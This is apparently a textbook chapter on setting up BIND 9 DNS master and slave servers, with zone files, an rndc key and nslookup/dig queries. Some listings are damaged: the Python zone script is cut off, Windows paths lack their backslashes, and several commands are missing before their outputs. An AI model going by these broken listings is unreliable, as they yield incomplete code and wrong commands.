Real networks are more than a collection of workstations identified by their IP address; on the Internet, systems refer to each other through their names, and the Domain Name System (DNS) provides a method to translate from names to addresses and back again. The DNS protocols form the core protocol for the Internet, and an understanding of cyber operations requires an understanding of DNS.
One of the most common DNS servers is BIND, primarily version 9. This chapter provides a brief introduction to BIND 9. BIND can be installed on both Linux and Windows systems, and both are covered. The reader will set up a simple DNS master server, including configuring both forward and reverse zones. A slave server is then created that pulls its zone data from the master server. More advanced topics, including forwarders, recursion, and DNS amplification attacks are introduced. Tools that query DNS servers, including dig and nslookup, are presented and used.
Namespaces
Internet names are organized hierarchically as a tree, beginning with the root domain “.”, followed by top-level domains like .com and .edu. The top-level domain .example is reserved for use in documentation and examples, like this book. Beneath top-level domains are subdomains of one or more additional levels, like apress.com, towson.edu, stars.example, or mars.probes.example. Last comes the host name, say www.apress.com, sirius.stars.example, or spirit.mars.probes.example (Figure 4-1).
Figure 4-1
Namespace
IPv4 addresses are similarly organized as a graph, with 256 nodes (0-255) in each of four levels.
A zone is a connected portion of a namespace managed together.
Installing BIND
Most Linux distributions, including CentOS, OpenSuSE, Ubuntu, and Mint include BIND in their collection of available packages. The installation process depends on the distribution. On CentOS systems, install BIND with the command
[root@alnair ~]# yum install bind
A more secure installation of BIND uses chroot; these features are added with the additional package
[root@alnair ~]# yum install bind-chroot
On OpenSuSE, BIND is installed with the command
pollux:~ # zypper install bind
On Mint or Ubuntu, run the command
gmonge@coalsack ~ $ sudo apt-get install bind9
Once BIND is installed, verify the installation completed correctly by checking that it returns its version; for example, the default version of BIND for CentOS 7.0 is 9.9.4.
[root@enif ~]# named -v
BIND 9.9.4-RedHat-9.9.4-14.el7 (Extended Support Version)
BIND can be installed on Windows systems. The latest version of BIND is available from https://www.isc.org/downloads/, while older versions are available online at ftp://ftp.isc.org/isc/bind9/. Select a version, say 9.9.8 (from September 2015). Download the corresponding .zip file and uncompress it. Run the installer (Figure 4-2) as an administrator, providing an account name and a password for the service.
Figure 4-2
The installer for BIND 9.9.8 on Windows 10-1511 (x64)
The Windows installation process sets the directory for the BIND binaries and configuration files. The installation creates two subdirectories: in for command-line binaries, and etc for configuration files. Command-line tools like dig, nslookup, and rndc are installed during this process, but their directory may not be included in the system path. Update the path by navigating Control Panel ➤ System and Security ➤ System ➤ Advanced System Settings ➤ Environment Variables.
Configuring BIND
Before BIND serves names and addresses, it must be correctly configured. Configuration information for BIND itself is kept in the file named.conf. The data that connects IP addresses to names and back are kept in zone files with names selected by the system administrator. BIND includes the program rndc to control the server. It communicates with the server via TCP using a pre-shared secret for authentication. This key is often kept in the same directory as the zone file data. The default locations for these files depend on the distribution/operating system (Table 4-1).
On Mint and Ubuntu systems, the default configuration stores zone files in /etc/bind and refers to them through their full path; they also set the default directory as /var/cache/bind in the file /etc/bind/named.conf.options.
The situation on CentOS 6 systems running chroot is somewhat complex. The primary configuration file is /etc/named.conf and the zone file directory is /var/named. However, once the BIND service is started, the primary configuration file is copied to /var/named/chroot/etc/named.conf and the zone file directory is copied to /var/named/chroot/var/named.
Building a Master
A BIND master keeps zone information locally; in contrast, a BIND slave obtains its zone data from another system. This distinction is made zone by zone, so the same server can be the master for some zones and a slave for other zones.
Servers that are masters for all of their zones are the simplest to configure. As an example, suppose a user wants to create a BIND server to act as the master for namespace .stars.example in the address space 10.0.2.0/24 using a CentOS 7 system.
named.conf
The first file that needs to be configured is named.conf. Each Linux distribution includes a default named.conf file as part of the installation process (Table 4-1); however, there are significant differences between distributions and even between releases within a single distribution. These default named.conf files often include advanced or complex features. Rather than beginning with and modifying these (different) files, instead consider the much simpler sample in Listing 4-1.
// BIND Configuration File
options {
directory "/var/named";
};
zone "." in {
type hint;
file "db.root";
};
zone "stars.example" in {
type master;
file "db.stars.example";
};
zone "2.0.10.in-addr.arpa" in {
type master;
file "db.10.0.2";
};
zone "localhost" in {
type master;
file "db.localhost";
};
zone "127.in-addr.arpa" in {
type master;
file "db.127";
};
include "/etc/rndc.key";
controls {
inet 127.0.0.1 port 953
allow { 127.0.0.1; } keys { "rndckey"; };
};
Listing 4-1
Sample named.conf file for a master
This sample named.conf configuration file begins with an options grouping that contains configuration directives meant to apply globally. The directory directive provides the root path for any files subsequently referenced, and matches the default directory specified in Table 4-1. Adjust the value as appropriate.
Table 4-1
Default Locations for BIND Data, by Linux Distribution
Distribution
BIND configuration
Zone file directory
CentOS 5 with chroot
/var/named/chroot/etc/named.conf
/var/named/chroot/var/named/
CentOS 5 without chroot
/etc/named.conf
/var/named/
CentOS 6,7
/etc/named.conf
/var/named/
Mint
/etc/bind/named.conf
/etc/bind/
OpenSuSE
/etc/named.conf
/var/lib/named/
Ubuntu
/etc/bind/named.conf
/etc/bind/
It continues with five zones. The first zone is the root hints zone and points to the location of a file that tells the server the location of the root nameservers for the Internet. The remaining four zones declare themselves to be masters and provide the location of the corresponding zone files. Each of these five zone files remains to be created.
The program that controls much of the operation of the nameserver is rndc, which communicates with the nameserver over TCP/953. Though the default is usually to only allow the communication via localhost, this is not required, and rndc can be used to remotely control a BIND nameserver. The rndc program authenticates to the nameserver using a pre-shared secret. The end of the configuration file includes a shared secret and configures BIND to listen to on TCP/953 on 127.0.0.1 for connections. The allow directive lists the systems that may authenticate and provides the location of the key file and the name of the key in that file. This key is yet to be generated.
Forward Zone
A forward zone maps human readable names to numerical IP addresses. The name of the zone file is arbitrary, as the configuration file named.conf can use whatever name is selected. Using a consistent naming scheme is helpful. The directory directive in the options section of named.conf specifies the locations of the files, and so long as the file is located within this directory, its relative name can be specified instead of the full path.
In this example, the namespace is .stars.example, so create the file db.stars.example in the zone file directory (Table 4-1). In a CentOS 7.0 system, this is in the directory /var/named/. As an example, consider Listing 4-2.
$TTL 5m
stars.example. IN SOA enif.stars.example. sgermain.enif.stars.example. (
1 ; Zone file serial number
5m ; Refresh time
3m ; Retry time
30m ; Expiration time
5m ) ; Negative TTL
; Name Servers
stars.example. IN NS enif.stars.example.
stars.example. IN NS navi.stars.example.
; Address Records
sirius.stars.example. IN A 10.0.2.10
canopus.stars.example. IN A 10.0.2.11
siriusb.stars.example. IN A 10.0.2.12
canopusb.stars.example. IN A 10.0.2.13
arcturus.stars.example. IN A 10.0.2.14
vega.stars.example. IN A 10.0.2.15
capella.stars.example. IN A 10.0.2.16
altair.stars.example. IN A 10.0.2.17
betelgeuse.stars.example. IN A 10.0.2.18
procyon.stars.example. IN A 10.0.2.19
hadar.stars.example. IN A 10.0.2.20
... Output Deleted ...
; Aliases
dns.stars.example. IN CNAME enif.stars.example.
Listing 4-2
Sample forward zone file db.stars.example
In an Ubuntu system, this zone file could be named /etc/bind/db.stars.example while in a 32-bit Windows 7 system, this zone file could be named C:Program FilesISC BIND 9etcdb.stars.example.
The zone file begins with a time-to-live directive, here set to five minutes. This is included with any query response and tells the requester how long they may cache the results.
Next is the Internet start of authority record, or IN SOA record. It must start in the left column with the namespace that is being configured; in this case it is "stars.example.". Notice the trailing dot; this is essential. The top level of any name space is just “.”, so this tells BIND that this is the fully qualified domain name (FQDN), rather than just an abbreviation. Only one IN SOA record can be in a file. The IN SOA record continues with the FQDN for the host that will act as the primary nameserver for the zone. In this case it is "enif.stars.example."; the name is ended with a period to indicate that this is not an abbreviation. After the name of the primary nameserver comes the email address of the person responsible for maintaining the zone. At first glance, it does not look like an email address, but the key is that the first "@" in the email address is replaced by a ".". Thus, the example record states that the email address of the person responsible for the zone is "[email protected].".
The open parenthesis continues the IN SOA directive to subsequent lines. The data in the remainder of the IN SOA directive is used primarily for slave nameservers that get their information from this master. The portion of each line after the semicolons are comments and are used primarily to help the reader.
The zone serial number is just that - a serial number. It can be set to any integer value. When a slave nameserver checks the master for an update, if the serial number on the master is greater than the serial number on the slave, then the slave will update its local data. There is no requirement that serial numbers be assigned consecutively - if the new data has a higher serial number than the old data, the zone will update.
Next is the refresh value; this determines how often a slave nameserver will query the master to see if it has the current data. What happens if the slave is unable to reach the master? Then it will try again after the retry interval. A slave unable to reach the master continues to use the old data it has until it expires. Last is the negative TTL; this is how long a slave should cache answers from the master that say that a name does not exist.
The values in this example are tuned for use in a testing laboratory. Data updates quickly, but times out quickly. These are probably not suitable for a system meant to function on the wider Internet. Suggestions for more reasonable values can be found many places; the examples in the book of Liu and Albitz, DNS & BIND (pp. 57 ff.) use the values:
TTL- 3 hours
Refresh- 3 hours
Retry- 1 hour
Expire- 1 week
Negative TTL- 1 hour
The forward zone continues with a pair of Internet IN name server NS records; these are the names of the hosts that act as namerservers for the zone.
Following this are Internet IN address A records. These provide the IPv4 address for a hostname. The corresponding IPv6 record type is AAAA. Note that the full FQDN is given for each name, including the trailing “.” to ensure that each name is considered absolute, rather than relative. Each address record needs to be for the zone specified in the SOA record.
The example ends with an Internet IN CNAME alias record. Alias records provide additional names for a system. The example record states that the canonical name for dns.stars.example is enif.stars.example. A request for the IP address of dns.stars.example will return instead the IP address for enif.stars.example.
Together, this forms a fully functional specification of a forward zone, mapping names to IP addresses.
Reverse Zone
BIND is also used to determine the hostname associated with a given IP address; this is done by a reverse zone. Like the forward zone, the name of the file with the data for the reverse zone can have an essentially arbitrary name, but it makes sense to use a consistent naming scheme. Since the reverse zone in the example maps IP address in the 10.0.2.0/24 block to names, create the file db.10.0.2 in the zone file directory (Table 4-1). In a CentOS 5.3 system, this becomes the file /var/named/chroot/var/named/db.10.0.2 shown in Listing 4-3.
$TTL 5m
2.0.10.in-addr.arpa. IN SOA enif.stars.example. sgermain.enif.stars.example. (
1 ; Zone file serial number
5m ; Refresh time
3m ; Retry time
30m ; Expiration time
5m ) ; Negative TTL
; Name Servers
2.0.10.in-addr.arpa. IN NS enif.stars.example.
2.0.10.in-addr.arpa. IN NS navi.stars.example.
; Address Records
10.2.0.10.in-addr.arpa. IN PTR sirius.stars.example.
11.2.0.10.in-addr.arpa. IN PTR canopus.stars.example.
12.2.0.10.in-addr.arpa. IN PTR siriusB.stars.example.
13.2.0.10.in-addr.arpa. IN PTR canopusB.stars.example.
14.2.0.10.in-addr.arpa. IN PTR arcturus.stars.example.
15.2.0.10.in-addr.arpa. IN PTR vega.stars.example.
16.2.0.10.in-addr.arpa. IN PTR capella.stars.example.
17.2.0.10.in-addr.arpa. IN PTR altair.stars.example.
18.2.0.10.in-addr.arpa. IN PTR betelgeuse.stars.example.
19.2.0.10.in-addr.arpa. IN PTR procyon.stars.example.
20.2.0.10.in-addr.arpa. IN PTR hadar.stars.example.
... Output Deleted ...
Listing 4-3
Sample reverse zone db.10.0.2
This file has the same structure as the forward zone. It begins with a time-to-live declaration, which is set to the same quick five minutes. Next comes an Internet start of authority record (IN SOA); the difference here is the zone is named after the address space 10.0.2.0/24, rather than a namespace, though it may not be clear at first reading. To construct the zone name, take the IP range in octet form, reverse the numbers, and end with ".in-addr.arpa.". This convention is a leftover from the original days of the Internet as it evolved from the Defense Advanced Research Project Agency (DARPA). If the subnet in question was 192.168.0.0/16, then the name would be 168.192.in-addr.arpa.
The values in the Start of Authority (IN SOA) record have the same meaning they did in the forward zone; similarly, the required Internet nameserver (IN NS) record is as it was before.
The remaining records are Internet pointer (IN PTR) records. The left side is the IP address, written in the reversed ".in-addr.arpa." form, while the right side is the full domain name at that address. These records match the forward zone records and provide the way that BIND links IP addresses back to hostnames.
Scripting
Cyber operations is more than using tools, even advanced tools like Metasploit and Process Explorer from Chapters 2 and 3. It is important to be able to write custom tools for custom problems. The creation of the zone files is a perfect opportunity to practice some scripting. The data for the forward zone and the reverse zone need to be consistent and entered without typographical errors. Suppose that the list of hostnames and IP addresses are available in the file stars.csv in the form
sirius,10.0.2.10
canopus,10.0.2.11
siriusb,10.0.2.12
canopusb,10.0.2.13
arcturus,10.0.2.14
... Output Deleted ...
Rather than retyping the data in this list twice (once for each zone!), it is preferable to convert this raw data into both a list of address (A) records and pointer (PTR) records using a scripting language like Python. Consider the script in Listing 4-4.
#!/usr/bin/python
import csv
input_file_name = "stars.csv"
forward_file_name = "forward.txt"
reverse_file_name = "reverse.txt"
domain_name = ".stars.example."
input_file = open(input_file_name,'r')
forward_file = open(forward_file_name,'w')
reverse_file = open(reverse_file_name,'w')
input_reader = csv.reader(input_file)
for line in input_reader:
host = line[0]
ip = line[1]
fqdn = host + domain_name
padding = ' ' * (30 - len(fqdn))
forward_file.write(fqdn + padding + 'IN A ' + ip + '
')
Python code to convert a .csv file with names and IP addresses to lists for both a forward and a reverse zone file
This program reads each line from stars.csv, storing the hostname and the IP address. It builds the corresponding FQDN and uses that to write the matching address record line to forward.txt. It splits the IP address up into octets, reverses them adding ".in-addr.arpa." to build the pointer record, which is written to reverse.txt. The resulting files can then be copied and pasted into appropriate zone files.
Loopbacks
Because systems refer to localhost and expect an answer, it is reasonable to create a forward and reverse zone for localhost. Build the localhost forward zone file, named db.localhost with the content in Listing 4-5.
$TTL 7d
localhost. IN SOA localhost. root.localhost. (
1 ; Serial Number
7d ; Refresh time
1d ; Retry time
28d; Expiration time
7d); Negative TTL
; Name Servers
localhost. IN NS localhost.
; Address Records
localhost. IN A 127.0.0.1
Listing 4-5
Sample forward zone db.localhost
Build the corresponding localhost reverse zone file, say db.127 with content like Listing 4-6.
$TTL 7d
127.in-addr.arpa. IN SOA localhost. root.localhost. (
1 ; Serial Number
7d ; Refresh time
1d ; Retry time
28d; Expiration time
7d); Negative TTL
; NameServers
127.in-addr.arpa. IN NS localhost.
; Address
1.0.0.127.in-addr.arpa. IN PTR localhost.
Listing 4-6
Sample reverse zone db.127
These files reside in the same directory alongside the other zone files. They have the same general structure, but because data for localhost should not time out, the various time settings are all much longer.
Many systems already have versions of the localhost zone files. For example, on Ubuntu 13.04 the file /etc/bind/db.local has the content shown in Listing 4-7.
;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA localhost. root.localhost. (
2 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS localhost.
@ IN A 127.0.0.1
@ IN AAAA ::1
Listing 4-7
The file /etc/bind/db.local from Ubuntu 13.04
Superficially this looks different than the sample forward zone db.localhost, but this is deceiving. If the no unit of time is specified, BIND assumes the number refers to the number of seconds. In the Ubuntu file, the refresh time is 604,800 seconds, which turns out to be seven days, just as in the example forward zone (Listing 4-5). The symbol ‘@’ is an abbreviation for the origin of the zone, which if not overridden comes from the name of the zone in the named.conf file, which in this case is just "localhost.". This is just one of many ways to abbreviate information in a zone file. The nameserver record and the address record match the example; the only difference is the inclusion of an additional IPv6 address record.
Root Hints
The zone files created so far are sufficient to provide name services for the local network, but suppose the nameserver is asked for the IP address of a different system? The root hints file provides the addresses of the root DNS servers for the Internet. If the nameserver is asked for data it does not have, it will ask other servers, possibly including these root servers to find the answer.
Download the current root hints file (http://www.internic.net/domain/named.root) and save it with the file name db.root alongside the two forward and two reverse zones created so far. Some systems already include a copy of the root hints file, though it may be out of date and in need of replacement or may have a different name.
Controlling the Nameserver
The nameserver is controlled with the program rndc; this program communicates with the nameserver over TCP/953 and authenticates with a pre-shared secret. To generate the secret, from the command line, run the program rndc-confgen; when used with the -a option most of the work is automatic. For example, on a CentOS 7.0 system the result is
[root@enif ~]# rndc-confgen -a
wrote key file "/etc/rndc.key"
On a 64-bit Windows 10 system with an Administrator command prompt, the result is
C:Windowssystem32>"C:Program FilesISC BIND 9in
ndc-confgen.exe" -a
wrote key file "C:Program FilesISC BIND 9etc
ndc.key"
Be sure to check that the key is stored in the correct location. On some systems (e.g., BIND 9.7.1 on Windows Server 2012), the tool will state that the key was written to C:Windowssystem32dnsetc
ndc.key when in fact is was written to C:WindowsSysWOW64dnsetc
ndc.key.
Permissions on the key file should be set so that it is readable by only the user running BIND; this user varies with the distribution; it may be named (e.g., on CentOS) or bind (e.g., Mint). When rndc-confgen -a is run on some systems (e.g., CentOS 6.3, 7.3) the permissions on the key file rndc.key are (slightly) too strict. The result is owned by user root and group root, with permissions rw/-/- so the group named has no access to the key. This is fixed with
[root@Antares named]# ls -l /etc/rndc.key
-rw-------. 1 root root 77 Aug 10 16:34 /etc/rndc.key
The situation with other systems (e.g., Ubuntu Server 13.04 and Mint 7), is similar; on these systems the result is owned by user root and group bind, which is correct, but permissions on the file are still rw/-/- so that members of the bind group do not have read permissions. Fix this in the same fashion.
The key file itself has content like
[root@enif ~]# cat /etc/rndc.key
key "rndc-key" {
algorithm hmac-md5;
secret "GXegQIde1yzZT2gr6XqrHQ==";
};
This includes the name of the key, the algorithm, and the actual key value. The name of the key generated by rndc-confgen –a varies; for example, CentOS 5 generates a key with the name rndc-key, while CentOS 6 generates a key with the name rndckey. The content of the BIND configuration file named.conf (Listing 4-1) must be adjusted to match.
Starting BIND on Linux
Once the BIND configuration, zone files, root hint files, and rndc key are created, the BIND server is ready to be started for the first time. On CentOS or OpenSuSE systems that use SysVInit, run
[root@alnair ~]# service named start
Starting named: [ OK ]
On CentOS or OpenSuSE systems that use systemd, the command is
[root@enif ~]# systemctl start named
On an Ubuntu or a Mint system the process is similar, but the name of the service is bind9. On Mint 18, for example, which uses systemd, the corresponding command is
jmaxwell@kalliope $ sudo systemctl start bind9
Once the command to start (or stop or modify) a service has been issued, it is a good habit to verify that the command had the desired effect. On systemd-based systems like Mint 18, this is done with the command
Jun 11 21:36:57 kalliope named[5944]: zone 3.0.10.in-addr.arpa/IN: loaded serial 1
Jun 11 21:36:57 kalliope named[5944]: zone 127.in-addr.arpa/IN: loaded serial 1
Jun 11 21:36:57 kalliope named[5944]: zone localhost/IN: loaded serial 2
Jun 11 21:36:57 kalliope named[5944]: zone asteroid.test/IN: loaded serial 1
Jun 11 21:36:57 kalliope named[5944]: all zones loaded
On a SysVInit-based system, like CentOS 5.9, the corresponding command is
[root@alnair ~]# service named status
number of zones: 4
debug level: 0
xfers running: 0
xfers deferred: 0
soa queries in progress: 0
query logging is OFF
recursive clients: 0/1000
tcp clients: 0/100
server is up and running
named (pid 3705) is running....
If the service fails to start, check the system logs (cf. Chapter 10), which for CentOS or OpenSuSE systems are in /var/log/messages; for Ubuntu or Mint systems they are in /var/log/syslog. On systems that only have systemd-journald logs, the logs are read with journalctl. Correct any errors that appear. Even if the service appears to start correctly, it is important to check the logs; errors in the configuration may be sufficiently minor that BIND starts, but significant enough that the service does not function correctly. When configured correctly on CentOS 5.9, the log file contains the following.
Jun 11 22:49:27 alnair named[3807]: starting BIND 9.3.6-P1-RedHat-9.3.6-20.P1.el5_8.5 -u named -t /var/named/chroot
Jun 11 22:49:27 alnair named[3807]: adjusted limit on open files from 1024 to 1048576
Jun 11 22:49:27 alnair named[3807]: found 1 CPU, using 1 worker thread
Jun 11 22:49:27 alnair named[3807]: using up to 4096 sockets
Jun 11 22:49:27 alnair named[3807]: loading configuration from '/etc/named.conf'
Jun 11 22:49:27 alnair named[3807]: using default UDP/IPv4 port range: [1024, 65535]
Jun 11 22:49:27 alnair named[3807]: using default UDP/IPv6 port range: [1024, 65535]
Jun 11 22:49:27 alnair named[3807]: listening on IPv4 interface lo, 127.0.0.1#53
Jun 11 22:49:27 alnair named[3807]: listening on IPv4 interface eth0, 10.0.2.46#53
Jun 11 22:49:27 alnair named[3807]: command channel listening on 127.0.0.1#953
Jun 11 22:49:27 alnair named[3807]: zone 2.0.10.in-addr.arpa/IN: loaded serial 4
Jun 11 22:49:27 alnair named[3807]: zone 127.in-addr.arpa/IN: loaded serial 1
Jun 11 22:49:27 alnair named[3807]: zone stars.example/IN: loaded serial 4
Jun 11 22:49:27 alnair named[3807]: zone localhost/IN: loaded serial 1
Jun 11 22:49:27 alnair named[3807]: running
The rndc tool should also be used to check the status of the server.
[root@alnair ~]# rndc status
number of zones: 4
debug level: 0
xfers running: 0
xfers deferred: 0
soa queries in progress: 0
query logging is OFF
recursive clients: 0/1000
tcp clients: 0/100
server is up and running
Once BIND is running, it needs to be configured to start on boot. Different Linux systems have different tools to manage their services. CentOS 5 and CentOS 6, for example, come with a graphical tool (/usr/sbin/system-config-services) to manage services; it appears in the menu in different places (CentOS 5: System ➤ Administration ➤ Server Settings ➤ Services; CentOS 6: System ➤ Administration ➤ Services). On an OpenSuSE system, the graphical tool is available in YaST; select System, then either System Services (Runlevel), System Services, or System Manager depending on the release.
On SysVInit-based systems, BIND can be configured to run on boot with the command-line tool chkconfig. For example, on OpenSuSE or CentOS (where the service is called named) the command is
[root@Spica ~]# chkconfig named on
The boot status of all installed services is available with the command chkconfig --list.
On systemd-based systems, a user can check if the service called named is enabled with
[root@enif ~]# systemctl is-enabled named
disabled
It is then enabled with the command
[root@enif ~]# systemctl enable named
On Mint and Ubuntu systems, the installation process for BIND also configures it to run and start on boot so no additional changes are needed.
Starting BIND on Windows
To run BIND on a Windows system, be sure that the etc subdirectory of the installation directory (C:Program FilesISC BIND 9etc in Figure 4-2) contains a properly formatted named.conf file. That file should be similar in content to Listing 4-1. The zone files need to be readable by the user chosen during the BIND installation.
BIND can be started from an administrator command prompt with the command
C:Windowssystem32>sc start named
SERVICE_NAME: named
TYPE : 10 WIN32_OWN_PROCESS
STATE : 2 START_PENDING
(NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x7d0
PID : 3812
FLAGS :
The status can then be checked via
C:Windowssystem32>sc queryex named
SERVICE_NAME: named
TYPE : 10 WIN32_OWN_PROCESS
STATE : 4 RUNNING
(STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
PID : 3812
FLAGS :
The graphical tool to manage services can be launched by navigating Control Panel ➤ System and Security ➤ Administrative Tools ➤ Services (Figure 4-3). Double-clicking on the service (ISC BIND) allows the service to be started, stopped, and/or configured to run on system start.
Figure 4-3
Services, including ISC BIND. Shown on Windows 10-1511 (x64)
Logs from BIND on Windows are stored in the Windows application log (cf. Chapter 10). These can be examined using Event Viewer; to launch Event Viewer navigate Control Panel ➤ System and Security ➤ Administrative Tools ➤ Event Viewer. To see the logs from BIND, in Event Viewer navigate Windows Logs ➤ Application. As was the case in Linux systems, BIND on Windows may start with errors that do not prevent the start of the service, but that do cause errors in performance, so the logs should be checked for any errors the first time the service is started.
BIND stores the PID for the running process in the file named.pid, located in the etc subdirectory of the installation directory. This file is to be written by the user named that was created during the BIND installation. However, by default that user has no write permissions to the subdirectory; this must be added manually. Select the directory in explorer, right-click to bring up the properties menu, select the security tab, and change permissions with the Edit button. Give the user named full control.
Completing the Installation
After BIND is started, the host firewall must be opened to allow the necessary traffic to and from the server. The named server listens on both UDP/53 and TCP/53; these should be open. The rndc control program by default listens on TCP/953 on the loopback interface (127.0.0.1). If the intent is to allow remote access to rndc, then the listening interface needs to be modified in named.conf and the needed changes made to the firewall.
With the installation and configuration of BIND complete, other hosts can be configured to use the BIND system as their nameserver. These systems should be able to look up local addresses as well as global addresses. Here is a client system using the newly built DNS server.
[cgauss@enif ~]$ nslookup sirius.stars.example
Server: 10.0.2.97
Address: 10.0.2.97#53
Name: sirius.stars.example
Address: 10.0.2.10
[cgauss@enif ~]$ nslookup apress.com
Server: 10.0.2.97
Address: 10.0.2.97#53
Non-authoritative answer:
Name: apress.com
Address: 195.128.8.134
Building a Slave
A BIND slave nameserver downloads the data for a zone from another nameserver rather than using zone data stored locally. One advantage of this approach is that the administrator can use multiple servers for redundancy but does not need to maintain independent files that could accidentally become different.
As an example, suppose an administrator wants to build a second nameserver for the zones stars.example and 2.0.10.in-addr.arpa, but wants the second nameserver to act as a slave to the first. To build such a server, the administrator goes through most of the steps needed to build the master.
Do not build either the stars.example forward zone or the 2.0.10.in-addr.arpa reverse zone; these will be obtained from the zone master.
The localhost forward and reverse zones are built as before.
The root hints file is downloaded and installed as before.
The tool rndc-confgen is run as before, and the location of the keyfile is noted.
The primary difference is in the named.conf file. On a CentOS system, this file has content like Listing 4-8.
// BIND Configuration File
options {
directory "/var/named";
};
zone "." in {
type hint;
file "db.root";
};
zone "stars.example" in {
type slave;
file "slaves/bak.stars.example";
masters {10.0.2.97; };
};
zone "2.0.10.in-addr.arpa" in {
type slave;
file "slaves/bak.10.0.2";
masters {10.0.2.97; };
};
zone "127.in-addr.arpa" in {
type master;
file "db.127";
};
zone "localhost" in {
type master;
file "db.localhost";
};
include "/etc/rndc.key";
controls {
inet 127.0.0.1 port 953
allow { 127.0.0.1; } keys { "rndc-key"; };
};
Listing 4-8
Sample named.conf file for a slave
The difference between this file and the previous example is that the stars.example and 2.0.10.in-addr.arpa zones are of type slave, rather than of type master. Note the directive
masters {10.0.2.97; };
This directive tells BIND the IP address (10.0.2.97) for this system to contact to download the required zone data.
The zone files for the slave zones must be in a location to which the server has write permission, and this varies between distributions. CentOS 6, for example, has configured the directory /var/named/slaves correctly. On Ubuntu, the proper directory is /var/cache/bind, while on OpenSuSE the proper directory is /var/lib/named/slave. On a Windows system, the administrator needs to create a directory with the proper permissions.
Once the slave nameserver is started, a check of the log files shows the named daemon downloading the required zone files from the master.
Jun 13 21:32:00 phecda named[3237]: running
Jun 13 21:32:00 phecda named[3237]: zone 2.0.10.in-addr.arpa/IN: Transfer started.
Jun 13 21:32:00 phecda named[3237]: transfer of '2.0.10.in-addr.arpa/IN' from 10.0.2.97#53: connected using 10.0.2.100#44174
Jun 13 21:32:00 phecda named[3237]: zone 2.0.10.in-addr.arpa/IN: transferred serial 4
Jun 13 21:32:00 phecda named[3237]: transfer of '2.0.10.in-addr.arpa/IN' from 10.0.2.97#53: Transfer completed: 1 messages, 103 records, 2585 bytes, 0.001 secs (2585000 bytes/sec)
Jun 13 21:32:00 phecda named[3237]: zone 2.0.10.in-addr.arpa/IN: sending notifies (serial 4)
Jun 13 21:32:01 phecda named[3237]: zone stars.example/IN: Transfer started.
Jun 13 21:32:01 phecda named[3237]: transfer of 'stars.example/IN' from 10.0.2.97#53: connected using 10.0.2.100#55572
Jun 13 21:32:01 phecda named[3237]: zone stars.example/IN: transferred serial 4
Jun 13 21:32:01 phecda named[3237]: transfer of 'stars.example/IN' from 10.0.2.97#53: Transfer completed: 1 messages, 103 records, 2453 bytes, 0.004 secs (613250 bytes/sec)
Jun 13 21:32:01 phecda named[3237]: zone stars.example/IN: sending notifies (serial 4)
The transferred zone files can be examined; here is a portion of the file /var/named/slaves/bak.stars.example downloaded by a CentOS 6.7 slave.
[root@phecda ~]# head -n20 /var/named/slaves/bak.stars.example
$ORIGIN .
$TTL 300 ; 5 minutes
stars.example IN SOA enif.stars.example. sgermain.enif.stars.example. (
4 ; serial
300 ; refresh (5 minutes)
180 ; retry (3 minutes)
1800 ; expire (30 minutes)
300 ; minimum (5 minutes)
)
NS enif.stars.example.
NS antares.stars.example.
$ORIGIN stars.example.
achernar A 10.0.2.21
achernarB A 10.0.2.23
acrux A 10.0.2.24
acruxB A 10.0.2.25
adara A 10.0.2.37
aldeberan A 10.0.2.26
aldeberanB A 10.0.2.27
On some systems, the transferred zone data may be stored in a compressed format. It can be extracted and read using named-compilezone. For example, on an OpenSuSE 42.2 slave to read the zone stars.example from the file /var/lib/named/slave/bak.stars.example and write the output as text to the file bak.stars.example.txt, the administrator can run the following.
dschubba:/var/lib/named/slave # named-compilezone -f raw -F text -o bak.stars.example.txt stars.example /var/lib/named/slave/bak.stars.example
zone stars.example/IN: loaded serial 4
dump zone to bak.stars.example.txt...done
OK
dschubba:/var/lib/named/slave # head -n10 ./bak.stars.example.txt
stars.example. 300 IN SOA enif.stars.example. sgermain.enif.stars.example. 4 300 180 1800 300
stars.example. 300 IN NS enif.stars.example.
stars.example. 300 IN NS spica.stars.example.
stars.example. 300 IN NS antares.stars.example.
achernar.stars.example. 300 IN A 10.0.2.21
achernarB.stars.example. 300 IN A 10.0.2.23
acrux.stars.example. 300 IN A 10.0.2.24
acruxB.stars.example. 300 IN A 10.0.2.25
adara.stars.example. 300 IN A 10.0.2.37
aldeberan.stars.example. 300 IN A 10.0.2.26
Querying DNS
DNS servers provide information about a network; some is critical to the proper functioning of the network, but some is also valuable to attackers.
Nslookup
One useful tool available on both Windows and Linux systems is nslookup. By default, nslookup uses the DNS server configured by the system; given a hostname, nslookup returns the IP address; given an IP address, nslookup returns the hostname. On a Linux system, it returns
egalois@dschubba:~> nslookup acrux.stars.example
Server: 10.0.2.97
Address: 10.0.2.97#53
Name: acrux.stars.example
Address: 10.0.2.24
egalois@dschubba:~> nslookup 10.0.2.21
Server: 10.0.2.97
Address: 10.0.2.97#53
21.2.0.10.in-addr.arpa name = achernar.stars.example.
The behavior on Windows is similar.
C:UsersCarl Gauss>nslookup acrux.stars.example
Server: Enif.stars.example
Address: 10.0.2.97
Name: acrux.stars.example
Address: 10.0.2.24
C:UsersCarl Gauss>nslookup 10.0.2.21
Server: Enif.stars.example
Address: 10.0.2.97
Name: Achernar.stars.example
Address: 10.0.2.21
Users can select a different nameserver than the default for the system by specifying it as the second argument on the command line. For example, to query the name server 10.0.2.90 for the hostname adara.stars.example, run
To obtain all available records, run the request with -type=any.
Dig
A more powerful tool to query DNS servers is dig. Unlike nslookup, which is (usually) included by default on both Windows and Linux systems, dig is part of the BIND suite of tools. It is (usually) included on most Linux distributions, but it must be installed separately on Windows systems. It is included with BIND when it is installed on Windows.
Dig: Host Name Query
Here is a simple dig query on Linux, asking for information about a host name.
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 3
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;29.2.0.10.in-addr.arpa. IN PTR
;; ANSWER SECTION:
